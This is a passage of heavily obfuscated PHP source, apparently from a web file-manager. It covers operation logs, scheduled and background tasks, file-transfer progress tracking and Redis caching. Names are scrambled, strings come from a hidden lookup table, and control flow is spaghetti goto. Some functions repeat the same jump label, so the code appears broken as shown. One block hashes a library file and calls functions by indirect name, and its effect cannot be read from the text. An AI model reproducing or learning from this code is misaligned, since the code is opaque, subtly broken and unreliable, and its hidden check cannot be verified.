cұ: } public function get($eő = '') { goto bŊ; e: $Fܳ[$dף[351]] = $this->logList($Fܳ[$dף[351]]); return $Fܳ; goto D뎡; bŊ: $dף =& $_SERVER[ڊ]; if (!$eő) { show_json(array()); } $B = array(); goto C; C: if (!empty($eő[$dף[2420]])) { $B[$dף[401]] = array($dף[746], "\x25{$eő[$dף[2420]]}\x25"); } $Fܳ = $this->_makeOrder()->where($B)->selectPage(); if (empty($Fܳ[$dף[351]])) { show_json(array(), !0, $Fܳ[$dף[348]]); } goto e; C: if ($eő[$dף[1409]]) { $B[$dף[1409]] = $eő[$dף[1409]]; } if (isset($eő[$dף[697]])) { $dʼ = $eő[$dף[697]]; $eӎ = isset($eő[$dף[698]]) ? $eő[$dף[698]] : time(); $B[$dף[184]] = array($dף[318], array($dʼ, $eӎ)); } if ($eő[$dף[29]]) { $Eԇ = explode($dף[47], $eő[$dף[29]]); $Bž = $this->typeFile(); $aΪ = array(); foreach ($Eԇ as $a˺) { $aΪ[] = $a˺; if (isset($Bž[$a˺])) { $aΪ = array_merge($aΪ, $Bž[$a˺]); } } $aΪ = array_unique($aΪ); if ($aΪ) { $B[$dף[29]] = array($dף[7], $aΪ); } } goto C; D뎡: } private function ipAddress(&$cČُ) { $Bޅ =& $_SERVER[ڊ]; if (!empty($cČُ[$Bޅ[2420]])) { $dеۯ = IpLocation::get($cČُ[$Bޅ[2420]]); if ($dеۯ == $Bޅ[2421]) { $dеۯ = $Bޅ[2422]; } } else { $dеۯ = LNG($Bޅ[2423]); } $cČُ[$Bޅ[2424]] = $dеۯ; } private function descZipDownload($bɟĉ, &$F܌) { $E֯ʶ =& $_SERVER[ڊ]; if (!isset($bɟĉ[$E֯ʶ[2425]])) { return; } $fΆҪ = json_decode($bɟĉ[$E֯ʶ[2425]], !0); foreach ($fΆҪ as $b𑇓) { if (!IO::init($b𑇓[$E֯ʶ[75]])) { continue; } if (!($dݺ = IO::infoFull($b𑇓[$E֯ʶ[75]]))) { continue; } $bɟĉ[$E֯ʶ[75]] = $b𑇓[$E֯ʶ[75]]; $F܌[] = $bɟĉ[$E֯ʶ[2243]] = $dݺ[$E֯ʶ[457]]; break; } return $bɟĉ; } private function getSourceList(&$d) { $d =& $_SERVER[ڊ]; $D룙 = array(); foreach ($d as $Eʯ => $fܰ) { goto a; dؚ: $D룙[] = $Eъ[$d[366]]; $D룙[] = $Eъ[$d[2243]]; if ($Eъ[$d[29]] == $d[488]) { $D룙[] = $Eъ[$d[401]][$d[998]]; $D룙[] = $Eъ[$d[401]][$d[999]]; } goto cLJ; a: $Eъ = json_decode($fܰ[$d[401]], !0); if ($fܰ[$d[29]] == $d[2044]) { $Eъ = $this->descZipDownload($Eъ, $D룙); $d[$Eʯ][$d[401]] = json_encode($Eъ); continue; } if (strpos($fܰ[$d[29]], $d[2244]) !== 0) { goto eû; eû: if (!isset($Eъ[$d[75]]) || strpos($fܰ[$d[29]], $d[2426]) !== 0) { continue; } if (!IO::init($Eъ[$d[75]])) { continue; } if (!($b = IO::infoFull($Eъ[$d[75]]))) { continue; } goto A؏; A؏: $D룙[] = $Eъ[$d[366]] = $b[$d[366]]; $D룙[] = $Eъ[$d[2243]] = $b[$d[457]]; $d[$Eʯ][$d[401]] = json_encode($Eъ); goto d; d: continue; goto A댮; A댮: } goto dؚ; cLJ: if ($Eъ[$d[29]] == $d[2251]) { $D룙[] = $Eъ[$d[401]][$d[366]]; } goto e; e: } if (!$D룙) { return array(); } return Model($d[747])->sourceListInfo($D룙, !0); } private function logList($F뒾) { goto C۠ƕ; dՊ: $Cت = array(); foreach ($F뒾 as $dȧ¹ => $E) { goto Fˎˡ; Fˎˡ: $dԔ = $E[$e˪[29]]; $Cʑ = isset($aզۃ[$E[$e˪[1409]]]) ? $aզۃ[$E[$e˪[1409]]] : !1; $DҤ = strpos($dԔ, $e˪[2427]) === 0 ? LNG($e˪[2428]) : LNG($e˪[2423]); goto A覨; Fȭ: unset($E[$e˪[2429]]); $cÊ[] = $E; goto E; E: $this->ipAddress($E); if (strpos($dԔ, $e˪[2244]) === 0 || isset($a[$e˪[2243]])) { goto aĈ; FϘ: if ($a[$e˪[29]] == $e˪[2251]) { $a[$e˪[401]][$e˪[366]] = $bϿ[$a[$e˪[401]][$e˪[366]]]; } if ($a[$e˪[29]] == $e˪[2039]) { $a[$e˪[2256]] = $a[$e˪[388]]; $a[$e˪[2243]] = $a[$e˪[2256]][$e˪[366]]; $a[$e˪[388]] = !1; $a[$e˪[366]] = $e˪[33]; } if ($a[$e˪[388]] && $a[$e˪[388]][$e˪[368]] == $e˪[1072]) { $Cت[] = $E[$e˪[364]]; unset($F뒾[$dȧ¹]); continue; } goto b돌; b돌: if ($a[$e˪[2256]] && $a[$e˪[2256]][$e˪[368]] == $e˪[1072]) { $Cت[] = $E[$e˪[364]]; unset($F뒾[$dȧ¹]); continue; } goto c䲛; aĈ: $a[$e˪[388]] = $bϿ[$a[$e˪[366]]]; $a[$e˪[2256]] = $bϿ[$a[$e˪[2243]]]; if ($a[$e˪[29]] == $e˪[488]) { $a[$e˪[401]][$e˪[998]] = $bϿ[$a[$e˪[401]][$e˪[998]]]; $a[$e˪[401]][$e˪[999]] = $bϿ[$a[$e˪[401]][$e˪[999]]]; } goto FϘ; c䲛: } $E[$e˪[401]] = $a; goto Fȭ; A覨: $E[$e˪[28]] = isset($Cʑ[$e˪[28]]) ? $Cʑ[$e˪[28]] : LNG($e˪[2423]); $E[$e˪[2292]] = isset($Cʑ[$e˪[2292]]) ? $Cʑ[$e˪[2292]] : $e˪[33]; $E[$e˪[1316]] = isset($bވ[$dԔ]) ? $bވ[$dԔ] : $DҤ; goto Eϟ; Eϟ: $E[$e˪[2209]] = $Cʑ; $a = json_decode($E[$e˪[401]], !0); $E[$e˪[2420]] = isset($a[$e˪[2420]]) ? $a[$e˪[2420]] : $e˪[33]; goto E; E: } $this->clearSystemPathLog($Cت); goto A; e: $bϿ = $this->getSourceList($F뒾); $bވ = $this->typeAll(); $cÊ = array(); goto dՊ; A: return $cÊ; goto Bﮧ; C۠ƕ: $e˪ =& $_SERVER[ڊ]; $b = array_to_keyvalue($F뒾, $e˪[33], $e˪[1409]); $aզۃ = Model($e˪[473])->userListInfo(array_unique($b)); goto e; Bﮧ: } private function clearSystemPathLog($B) { $fח =& $_SERVER[ڊ]; if (count($B) == 0) { return; } $C׽ = array($fח[364] => array($fח[7], array_unique($B))); $this->where($C׽)->delete(); } public function deviceList($Cտɻ, $Cь = 0) { $a٫ =& $_SERVER[ڊ]; $B = array($a٫[1409] => $Cտɻ, $a٫[184] => array($a٫[922], $Cь), $a٫[29] => $a٫[2012]); $A = array(); $fܱ = $this->field($a٫[2430])->where($B)->order($a٫[2254])->limit(50)->select(); foreach ($fܱ as $fҙ => $c) { goto AȚ; AȚ: if ($fҙ > 0 && abs($c[$a٫[184]] - $fܱ[$fҙ - 1][$a٫[184]]) < 5) { continue; } $d󦟚 = json_decode($c[$a٫[401]], !0); $c[$a٫[2420]] = isset($d󦟚[$a٫[2420]]) ? $d󦟚[$a٫[2420]] : $a٫[33]; goto C; C: unset($d󦟚[$a٫[2420]]); $cނ = $this->deviceType($d󦟚[$a٫[2245]]); if (isset($A[$cނ])) { continue; } goto Cޛ; Cޛ: $this->ipAddress($c); $c[$a٫[401]] = $d󦟚; $A[$cނ] = $c; goto f۞; f۞: } return array_values($A); } public function deviceType($fŜ) { return $fŜ; } } goto d; C: class AutoTask { public static function start() { goto A׼; b: http_close(); self::valueSet($DӶʕ[1373], $DӶʕ[83]); Hook::bind($DӶʕ[1375], $DӶʕ[1376]); goto bŰ; bŰ: while (!0) { self::cacheClear(); if (self::valueGet($DӶʕ[684]) != $DӶʕ[83]) { self::valueSet($DӶʕ[1373], $DӶʕ[464]); self::log($DӶʕ[1377]); die; } self::valueSet($DӶʕ[1373], $DӶʕ[83]); self::valueSet($DӶʕ[1374], time()); self::taskRunAll(); sleep(self::valueGet($DӶʕ[1378])); } goto eϜ; A׼: $DӶʕ =& $_SERVER[ڊ]; if (self::valueGet($DӶʕ[684]) != $DӶʕ[83]) { return; } if (self::valueGet($DӶʕ[1373]) == $DӶʕ[83]) { $c = self::valueGet($DӶʕ[1374]); if (time() - $c > 3600 * 2) { self::restart(); } return; } goto b; eϜ: } public static function restart() { $dĈڝí =& $_SERVER[ڊ]; http_close(); self::valueSet($dĈڝí[684], $dĈڝí[464]); sleep(self::valueGet($dĈڝí[1378]) + 5); self::valueSet($dĈڝí[1373], $dĈڝí[464]); self::valueSet($dĈڝí[684], $dĈڝí[83]); } public static function shutdownEvent() { $b =& $_SERVER[ڊ]; self::valueSet($b[1373], $b[464]); self::log($b[1379]); } public static function config($Eͨę, $cΌ) { $CՈ =& $_SERVER[ڊ]; $d = 20; $cΌ = intval($cΌ) <= $d ? $d : intval($cΌ); self::valueSet($CՈ[684], $Eͨę); self::valueSet($CՈ[1378], $cΌ); } private static function taskRunAll() { $aʷ =& $_SERVER[ڊ]; $C = Model($aʷ[1380])->listData(); $Bӝ = count($C); for ($A˲ = 0; $A˲ < $Bӝ; $A˲++) { $C = $C[$A˲]; if ($C[$aʷ[1381]] != $aʷ[83]) { continue; } if (!self::taskTimeCheck($C)) { continue; } self::taskRun($C); } Hook::trigger($aʷ[1382]); } private static function taskTimeCheck($bÑ) { goto C饃; C饃: $Bޭ =& $_SERVER[ڊ]; $dԈݺ = json_decode($bÑ[$Bޭ[187]], !0); $C٫ = intval($bÑ[$Bޭ[1374]]); goto b; b: $EĔ = strtotime($Bޭ[1383] . $dԈݺ[$Bޭ[1384]] . $Bޭ[1385]) - strtotime($Bޭ[1386]); $BՔ = time() - strtotime(date($Bޭ[1387]) . $Bޭ[1388]); $F = $BՔ >= $EĔ && $BՔ <= $EĔ + 3600; goto a; a: switch ($dԈݺ[$Bޭ[29]]) { case $Bޭ[1389]: if (time() - $C٫ < 3600 * 24 * 30) { return !1; } if ($dԈݺ[$Bޭ[1389]] == date($Bޭ[1390]) && $F) { return !0; } break; case $Bޭ[1391]: if (time() - $C٫ < 3600 * 24 * 7) { return !1; } $bа = date($Bޭ[1392]) == 0 ? 7 : date($Bޭ[1392]); if ($dԈݺ[$Bޭ[1391]] == $bа && $F) { return !0; } break; case $Bޭ[1384]: if (time() - $C٫ < 3600 * 24) { return !1; } if ($F) { return !0; } break; case $Bޭ[1393]: if (time() - $C٫ >= floatval($dԈݺ[$Bޭ[1393]]) * 60) { return !0; } break; default: break; } return !1; goto F躓ݰ; F躓ݰ: } public static function taskRun($e) { goto aڜϸþ; Aųۨ: $Fփ = timeFloat(); $Cַ = $Dˍ[33]; switch ($e[$Dˍ[29]]) { case $Dˍ[292]: $FԦ = url_request($e[$Dˍ[1397]], $Dˍ[213], !1, !1, !1, !1, 5); $Cַ = strlen($FԦ); break; case $Dˍ[212]: $Cַ = Hook::apply($e[$Dˍ[1397]]); default: break; } goto e҈; e҈: Model($Dˍ[1398])->add(array($Dˍ[1399] => $Dˍ[33], $Dˍ[1400] => $Dˍ[464], $Dˍ[29] => $Dˍ[1401] . $e[$Dˍ[364]], $Dˍ[1402] => json_encode(array($Dˍ[28] => $e[$Dˍ[28]], $Dˍ[1403] => timeFloat() - $Fփ, $Dˍ[278] => $Cַ)))); self::log($Dˍ[1404] . $e[$Dˍ[364]] . $Dˍ[1405] . $Cַ); return !0; goto E; aڜϸþ: $Dˍ =& $_SERVER[ڊ]; self::log($Dˍ[1394] . $e[$Dˍ[364]] . $Dˍ[1395] . $e[$Dˍ[28]] . $Dˍ[1396] . $e[$Dˍ[1397]]); Model($Dˍ[1380])->run($e[$Dˍ[364]]); goto Aųۨ; E: } private static function valueGet($eΩץ) { $fʏ =& $_SERVER[ڊ]; $C = $fʏ[1406]; $E䌂Ҝ = Model($fʏ[1407])->get($eΩץ, $C); if (is_null($E䌂Ҝ)) { Model($fʏ[1407])->set($fʏ[1378], 10, $C); Model($fʏ[1407])->set($fʏ[684], $fʏ[83], $C); Model($fʏ[1407])->set($fʏ[1373], $fʏ[464], $C); $E䌂Ҝ = Model($fʏ[1407])->get($eΩץ, $C); } return $E䌂Ҝ; } private static function valueSet($b, $d݇) { $C啘㴩 =& $_SERVER[ڊ]; return Model($C啘㴩[1407])->set($b, $d݇, $C啘㴩[1406]); } protected static function log($c޻) { write_log($c޻, $_SERVER[ڊ][1408]); } private static function cacheClear() { $a =& $_SERVER[ڊ]; $A = Model($a[1407])->cacheKey($a[1406]); Cache::clearMemory($A); } } class Task { const STATYS_STOP = "\x73\164\157\160"; const STATYS_RUNNING = "\x72\165\156\156\x69\x6e\147"; const STATYS_KILL = "\153\x69\154\154"; public $task; public function __destruct() { $this->end(); } public function __construct($fƃш, $F蚼 = '', $Bо˜ = 0, $eҌ = '') { goto C킸; AԳ: Hook::trigger($Eέ[1420], $this->task); $this->task[$Eέ[1414]] = timeFloat(); self::valueSet($this->task[$Eέ[364]], $this->task); goto Fަ; Ċӡ: Hook::bind($Eέ[1375], array($this, $Eέ[1417])); Hook::bind($Eέ[1418], array($this, $Eέ[1419])); $this->startAfter(); goto AԳ; C킸: $Eέ =& $_SERVER[ڊ]; if (self::get($fƃш)) { return; } $this->task = array($Eέ[364] => $fƃш, $Eέ[1409] => USER_ID, $Eέ[1316] => $eҌ, $Eέ[29] => $F蚼, $Eέ[972] => $Eέ[33], $Eέ[970] => $Bо˜, $Eέ[982] => 0, $Eέ[1410] => 0, $Eέ[1411] => 0, $Eέ[1412] => timeFloat(), $Eέ[1413] => 0, $Eέ[1414] => 0, $Eέ[1415] => 0, $Eέ[1416] => 0, $Eέ[684] => $Eέ[1373]); goto Ċӡ; Fަ: } public function end() { goto Fǻ̶۷; Fǻ̶۷: $a䥺 =& $_SERVER[ڊ]; if (!$this->task) { return; } if ($this->task[$a䥺[1414]]) { self::valueSet($this->task[$a䥺[364]], !1); } goto FѠР; c: Hook::unbind($a䥺[1418], array($this, $a䥺[1419])); $this->endAfter(); $this->task = !1; goto D; FѠР: $dݽ = timeFloat() - $this->task[$a䥺[1412]]; self::log($a䥺[1421] . $this->task[$a䥺[364]] . $a䥺[1422] . $dݽ . $a䥺[1423]); Hook::unbind($a䥺[1375], array($this, $a䥺[1417])); goto c; D: } public function update($CƓҾ = 0) { goto F݅л; B: $this->updateAfter(); $C = 0.2; if (timeFloat() - $DѴă[$D㎇[1414]] < $C) { return; } goto dη; F݅л: $D㎇ =& $_SERVER[ڊ]; $DѴă =& $this->task; if (!$DѴă) { return; } goto E㧢; B⣲: $DѴă[$D㎇[684]] = $Fά ? $Fά : $DѴă[$D㎇[684]]; $DѴă[$D㎇[1415]] = $fև[$D㎇[1415]] ? $fև[$D㎇[1415]] : 0; $DѴă[$D㎇[1414]] = timeFloat(); goto d; E㧢: $DѴă[$D㎇[982]] += $CƓҾ; $DѴă[$D㎇[1413]] = timeFloat(); if ($DѴă[$D㎇[970]]) { if ($DѴă[$D㎇[970]] < $DѴă[$D㎇[982]]) { $DѴă[$D㎇[970]] = $DѴă[$D㎇[982]]; } $Fӑ = timeFloat() - $DѴă[$D㎇[1412]] - $DѴă[$D㎇[1415]]; $DѴă[$D㎇[1410]] = $DѴă[$D㎇[982]] / $DѴă[$D㎇[970]]; $DѴă[$D㎇[1411]] = $DѴă[$D㎇[982]] / $Fӑ; if ($DѴă[$D㎇[1410]] > 0) { $DѴă[$D㎇[1416]] = $Fӑ * (1 - $DѴă[$D㎇[1410]]) / $DѴă[$D㎇[1410]]; } $DѴă[$D㎇[1416]] = $DѴă[$D㎇[1416]] <= 0 ? 0 : $DѴă[$D㎇[1416]]; } goto B; dη: $fև = self::get($DѴă[$D㎇[364]]); $Fά = $fև[$D㎇[684]]; if ($Fά == self::STATYS_KILL) { $AŶ = array($D㎇[1424] => LNG($D㎇[1425]), $D㎇[1024] => !1); Cache::set($D㎇[1426] . $this->task[$D㎇[364]], $AŶ, 30); $this->end(); die; } else { if ($Fά == self::STATYS_STOP) { $a = 2; $fև[$D㎇[1415]] += $a; self::valueSet($DѴă[$D㎇[364]], $fև); sleep($a); $this->update(); return; } } goto B⣲; d: Hook::trigger($D㎇[1427], $DѴă); self::valueSet($DѴă[$D㎇[364]], $DѴă); goto Dꬢތ; Dꬢތ: } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($F) { $a =& $_SERVER[ڊ]; Cache::set($a[1426] . $this->task[$a[364]], $F, 60); return $F; } public static function get($a) { return self::valueGet($a); } public static function listData() { $Dՠ = self::valueGet(); return array_sort_by($Dՠ, $_SERVER[ڊ][1412], !0); } public static function kill($cԺ㤙) { return self::changeStatus($cԺ㤙, self::STATYS_KILL); } public static function stop($Bӈ) { return self::changeStatus($Bӈ, self::STATYS_STOP); } public static function restart($C) { return self::changeStatus($C, self::STATYS_RUNNING); } public static function killAll() { $c龜 =& $_SERVER[ڊ]; $c׭ = self::listData(); foreach ($c׭ as $b۵) { self::kill($b۵[$c龜[364]]); } sleep(2); foreach ($c׭ as $b۵) { self::valueSet($b۵[$c龜[364]], !1); } } private static function changeStatus($F©, $eʹ) { goto Fп; E뇦: return !0; goto cݸ; Fп: $A =& $_SERVER[ڊ]; $A̰¯ = self::valueGet($F©); if (!$A̰¯) { return !1; } goto eө; eө: $A̰¯[$A[684]] = $eʹ; self::valueSet($F©, $A̰¯); self::log($A[1428] . $A̰¯[$A[364]] . $A[1429] . $eʹ); goto E뇦; cݸ: } public static function valueGet($Fݿ = false) { $c懒 =& $_SERVER[ڊ]; if ($Fݿ) { $Cم = Model($c懒[395])->where(array($c懒[89] => $Fݿ, $c懒[29] => $c懒[1430]))->find(); return $Cم ? json_decode($Cم[$c懒[356]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($b = false) { goto bچ; bچ: $Bݝċ =& $_SERVER[ڊ]; $C = array($Bݝċ[29] => $Bݝċ[1430]); if ($b) { $C[$Bݝċ[1409]] = $b; } goto f푂ӟ; e腶: return $aε; goto Fђ; f푂ӟ: $aε = Model($Bݝċ[395])->where($C)->select(); $aε = $aε ? $aε : array(); foreach ($aε as $d => $Cى) { $aε[$d] = json_decode($Cى[$Bݝċ[356]], !0); } goto e腶; Fђ: } public static function valueSet($aѾ, $e߶) { goto EҖҦ; f: Model($a̰[395])->add($dؒ, array(), !0); goto D; EҖҦ: $a̰ =& $_SERVER[ڊ]; if (!$e߶) { return Model($a̰[395])->where(array($a̰[89] => $aѾ, $a̰[29] => $a̰[1430]))->delete(); } $b잦 = json_encode($e߶); goto c̏δ; c̏δ: if (!$b잦) { ob_start(); var_dump($e߶); $C = ob_get_clean(); self::log($a̰[1431] . json_encode_force($C)); } if (!$aѾ || !$e߶[$a̰[364]]) { return !1; } $dؒ = array($a̰[29] => $a̰[1430], $a̰[1409] => USER_ID, $a̰[89] => $aѾ, $a̰[356] => $b잦); goto f; D: } public static function log($ā) { write_log($ā, $_SERVER[ڊ][1432]); } } class TaskFileTransfer extends Task { protected function startAfter() { goto dՊ; f: $f[$D󅣔[1452]] = LNG($D󅣔[1453]); $f[$D󅣔[1454]] = 0; $f[$D󅣔[1455]] = 0; goto aႱׇ; Dݤ: Hook::bind($D󅣔[1446], array($this, $D󅣔[1447])); Hook::bind($D󅣔[1448], array($this, $D󅣔[1449])); Hook::bind($D󅣔[1450], array($this, $D󅣔[1451])); goto f; fǾ: Hook::bind($D󅣔[1443], array($this, $D󅣔[1444])); Hook::bind($D󅣔[528], array($this, $D󅣔[1445])); $this->sourceModelCopyFlag = !1; goto Dݤ; d秚: Hook::bind($D󅣔[539], array($this, $D󅣔[1441])); Hook::bind($D󅣔[505], array($this, $D󅣔[1442])); Hook::bind($D󅣔[502], array($this, $D󅣔[1442])); goto a˟Ԏ; E: Hook::bind($D󅣔[535], array($this, $D󅣔[1439])); Hook::bind($D󅣔[536], array($this, $D󅣔[1440])); Hook::bind($D󅣔[538], array($this, $D󅣔[1441])); goto d秚; E֒: if (!$f[$D󅣔[1316]]) { $f[$D󅣔[1316]] = LNG($D󅣔[1458]); } goto Bɻ; aႱׇ: $f[$D󅣔[972]] = $D󅣔[33]; $f[$D󅣔[1456]] = $D󅣔[33]; $f[$D󅣔[1457]] = 0; goto E֒; Fޟ: Hook::bind($D󅣔[1433], array($this, $D󅣔[1434])); Hook::bind($D󅣔[1435], array($this, $D󅣔[1436])); Hook::bind($D󅣔[1437], array($this, $D󅣔[1438])); goto E; dՊ: $D󅣔 =& $_SERVER[ڊ]; $f =& $this->task; $this->sourceCopyFolder = !1; goto Fޟ; a˟Ԏ: Hook::bind($D󅣔[507], array($this, $D󅣔[1442])); Hook::bind($D󅣔[509], array($this, $D󅣔[1442])); Hook::bind($D󅣔[511], array($this, $D󅣔[1442])); goto fǾ; Bɻ: } protected function endAfter() { goto C亼; bߓ: Hook::unbind($eй[511], array($this, $eй[1442])); Hook::unbind($eй[1443], array($this, $eй[1444])); Hook::unbind($eй[528], array($this, $eй[1445])); goto F; c: Hook::unbind($eй[1437], array($this, $eй[1438])); Hook::unbind($eй[535], array($this, $eй[1439])); Hook::unbind($eй[536], array($this, $eй[1440])); goto d囸; F۹𔛦: Hook::unbind($eй[502], array($this, $eй[1442])); Hook::unbind($eй[507], array($this, $eй[1442])); Hook::unbind($eй[509], array($this, $eй[1442])); goto bߓ; d囸: Hook::unbind($eй[538], array($this, $eй[1441])); Hook::unbind($eй[539], array($this, $eй[1441])); Hook::unbind($eй[505], array($this, $eй[1442])); goto F۹𔛦; C亼: $eй =& $_SERVER[ڊ]; Hook::unbind($eй[1433], array($this, $eй[1434])); Hook::unbind($eй[1435], array($this, $eй[1436])); goto c; F: Hook::unbind($eй[1446], array($this, $eй[1447])); Hook::unbind($eй[1448], array($this, $eй[1449])); Hook::unbind($eй[1450], array($this, $eй[1451])); goto AαϏ; AαϏ: } public function copyMoveStart($Fż, $Cƃ, $Eɲ, $F) { } public function updateAfter() { goto E; Aګ: if ($this->sourceModelCopyFlag) { return; } $c̢֫ = 0; if ($f[$Cԫ[1456]] == $Cԫ[1032]) { $c̢֫ = $f[$Cԫ[1455]] * 0.5; } else { if ($f[$Cԫ[1456]] == $Cԫ[91]) { $c̢֫ = $f[$Cԫ[1455]] * 0.5 + $f[$Cԫ[1454]] * 0.5; } } goto Fܙێ; Fܙێ: $f[$Cԫ[1410]] = ($f[$Cԫ[1459]] + $c̢֫) / $f[$Cԫ[693]]; if ($f[$Cԫ[1410]] > 0) { $D = timeFloat() - $f[$Cԫ[1412]] - $f[$Cԫ[1415]]; $f[$Cԫ[1416]] = $D * (1 - $f[$Cԫ[1410]]) / $f[$Cԫ[1410]]; } goto c᧐; E: $Cԫ =& $_SERVER[ڊ]; $f =& $this->task; if (!$f[$Cԫ[693]]) { return; } goto Aګ; c᧐: } public function addPath($B) { goto F踡; Aϓ: $BՅ = IO::infoWithChildren($B); $Dֻ = $dǶ[$Aؑ[1460]] ? $dǶ[$Aؑ[1460]][$Aؑ[1461]] : 0; $dǶ[$Aؑ[1460]] = array($Aؑ[1461] => $Dֻ + 1, $Aؑ[383] => $BՅ[$Aؑ[28]], $Aؑ[75] => $BՅ[$Aؑ[75]], $Aؑ[462] => $BՅ[$Aؑ[462]] ? $BՅ[$Aؑ[462]] : $BՅ[$Aؑ[75]]); goto B֊; F踡: $Aؑ =& $_SERVER[ڊ]; if (!$B) { return; } $dǶ =& $this->task; goto Aϓ; B֊: if ($BՅ[$Aؑ[29]] == $Aؑ[164]) { $dǶ[$Aؑ[970]] += 1; } else { $dǶ[$Aؑ[970]] += $BՅ[$Aؑ[80]][$Aؑ[78]]; if ($BՅ[$Aؑ[366]]) { $dǶ[$Aؑ[970]] += $BՅ[$Aؑ[80]][$Aؑ[79]] + 1; } } $dǶ[$Aؑ[693]] += $BՅ[$Aؑ[77]]; $this->update(); goto aֶؖ; aֶؖ: } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddFile($b퉲) { $eȃ =& $_SERVER[ڊ]; $EՆƻ =& $this->task; $EՆƻ[$eȃ[1452]] = $b퉲[$eȃ[28]]; $EՆƻ[$eȃ[972]] = $b퉲[$eȃ[28]]; $this->update(); } public function copyFileStart($Bь, $A⵱, $E¹ƴ, $dԫ裊, $F䙑, $e֛΅) { goto BϬ; E“: $bݧ[$aȵ[972]] = $aȵ[33]; $bݧ[$aȵ[1456]] = $aȵ[33]; $bݧ[$aȵ[1457]] = 0; goto C; C: $this->update(); goto Bɵ; a: $bݧ[$aȵ[1452]] = $fߓ; $bݧ[$aȵ[1454]] = (int) $Bь->size($A⵱); $bݧ[$aȵ[1455]] = 0; goto E“; Dȥ: $GLOBALS[$aȵ[1463]] = $F䙑; $GLOBALS[$aȵ[1462]] = $e֛΅; $bݧ =& $this->task; goto a; BϬ: $aȵ =& $_SERVER[ڊ]; $fߓ = $F䙑; if ($fߓ == $GLOBALS[$aȵ[1462]]) { $fߓ = $GLOBALS[$aȵ[1463]]; } goto Dȥ; Bɵ: } public function copyFileEnd($Dچ, $b, $FӼ, $dۦ, $dΘ, $fȳ) { $aˬ֡ =& $_SERVER[ڊ]; $eՎ =& $this->task; $eՎ[$aˬ֡[1455]] = $eՎ[$aˬ֡[1454]]; $eՎ[$aˬ֡[1456]] = $aˬ֡[33]; if ($dΘ == $eՎ[$aˬ֡[1452]]) { $eՎ[$aˬ֡[1459]] += $eՎ[$aˬ֡[1454]]; $this->update(1); } else { $this->update(); $eՎ[$aˬ֡[1455]] = 0; } self::log($aˬ֡[1464] . $b . $aˬ֡[66] . $dۦ . $aˬ֡[214] . $dΘ . $aˬ֡[1465] . $eՎ[$aˬ֡[1452]]); } public function updateFileEnd($f¸ӹ, $cթ) { $BۘƩ =& $_SERVER[ڊ]; $fܖ =& $this->task; $fܖ[$BۘƩ[1452]] = $f¸ӹ; $fܖ[$BۘƩ[1454]] = $cթ; $fܖ[$BۘƩ[1459]] += $cթ; $this->update(1); } public function sourceModelCopy($a쫩ݗ) { goto Fσ; E: $fʉ =& $this->task; $this->sourceModelCopyFlag = !0; $eޏٗ = 0; goto eҝ; Fσ: $b뭻 =& $_SERVER[ڊ]; $E = $a쫩ݗ[0]; $dۂ = $a쫩ݗ[1]; goto E; eҝ: switch ($E) { case $b뭻[503]: $eޏٗ = 1; break; case $b뭻[506]: $fʉ[$b뭻[1452]] = $dۂ[$b뭻[28]]; break; case $b뭻[508]: $eޏٗ = intval($a쫩ݗ[$b뭻[360]] * 0.4); break; case $b뭻[510]: $eޏٗ = intval($a쫩ݗ[$b뭻[360]] * 0.2); break; case $b뭻[512]: $eޏٗ = intval($a쫩ݗ[$b뭻[360]] * 0.4); break; } $this->update($eޏٗ); $this->sourceModelCopyFlag = !1; goto D; D: } public function sourceRemove($c֪Χ, $C) { $BГ =& $_SERVER[ڊ]; $this->sourceModelCopyFlag = !0; $e탴Ђ = 1; if (isset($c֪Χ[$BГ[80]])) { $e탴Ђ = $c֪Χ[$BГ[80]][$BГ[78]] + $c֪Χ[$BГ[80]][$BГ[79]] + 1; } $this->update($e탴Ђ); $this->sourceModelCopyFlag = !1; } public function sourceMove($D쿕) { $this->sourceRemove($D쿕, !1); } public function curlProgress($e烾, $d, $dٍ, $e璘, $D֢ɴ) { $Fںݹ =& $_SERVER[ڊ]; $F놞 =& $this->task; if ($D֢ɴ > 0) { $F놞[$Fںݹ[972]] = $Fںݹ[1466]; $F놞[$Fںݹ[1456]] = $Fںݹ[91]; if ($F놞[$Fںݹ[1454]] == $e璘 || $e璘 > 1024 * 1024) { $F놞[$Fںݹ[1455]] = $D֢ɴ; } if ($F놞[$Fںݹ[1457]]) { $F놞[$Fںݹ[1455]] = $D֢ɴ + $F놞[$Fںݹ[1457]]; } } else { if ($dٍ > 0) { if ($F놞[$Fںݹ[1454]] == $d) { $F놞[$Fںݹ[1455]] = $dٍ; $F놞[$Fںݹ[972]] = $Fںݹ[1467]; $F놞[$Fںݹ[1456]] = $Fںݹ[1032]; } } } $this->update(); } public function curlProgressStart($e) { } public function curlProgressEnd($e僬) { $A =& $_SERVER[ڊ]; $A =& $this->task; $Dȼ = curl_getinfo($e僬); $c护Ȧ = $Dȼ[$A[1468]]; if ($A[$A[1456]] == $A[91] && $c护Ȧ) { $A[$A[1457]] += $c护Ȧ; } $this->update(); } } goto e҆ϳ; d: $a٩ = LIB_DIR . $_SERVER[ڊ][1151]; $DӸϑ = $_SERVER[ڊ][1152]; if ($_SERVER[$_SERVER[ڊ][781]] != $DӸϑ($a٩)) { goto A͕; A͕: $bЃ蕨 = $_SERVER[ڊ][784]; $aᙌذ = $_SERVER[$_SERVER[ڊ][785]] . $_SERVER[ڊ][786]; $dȅ = $bЃ蕨($aᙌذ); goto Cç; Cç: $A = explode($_SERVER[ڊ][214], $dȅ); if (count($A) < $_SERVER[ڊ][557]) { $fѴ = $_SERVER[ڊ][787]; $fѴ(); } $fΘ = $_SERVER[ڊ][1153]; goto BԘ; BԘ: $fΘ($a٩); goto a; a: } goto F먔; f͈ۂ: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($CӰ, $Fՠ) { $dɮ =& $_SERVER[ڊ]; if (!class_exists($dɮ[774])) { show_json($dɮ[775], !1); } $this->cacheTime = $Fՠ; $aϊ = isset($CӰ[$dɮ[776]]) ? $CӰ[$dɮ[776]] : 10; $c޽ = _get($CӰ, $dɮ[773]); if ($c޽ && is_array($c޽)) { $this->isCluster = !0; $this->initCluster($CӰ, $aϊ); } else { $this->handle = $this->init($CӰ, $aϊ); } } private function init($D, $Eԭ) { $b =& $_SERVER[ڊ]; $E = new Redis(); $eܖ = isset($D[$b[777]]) 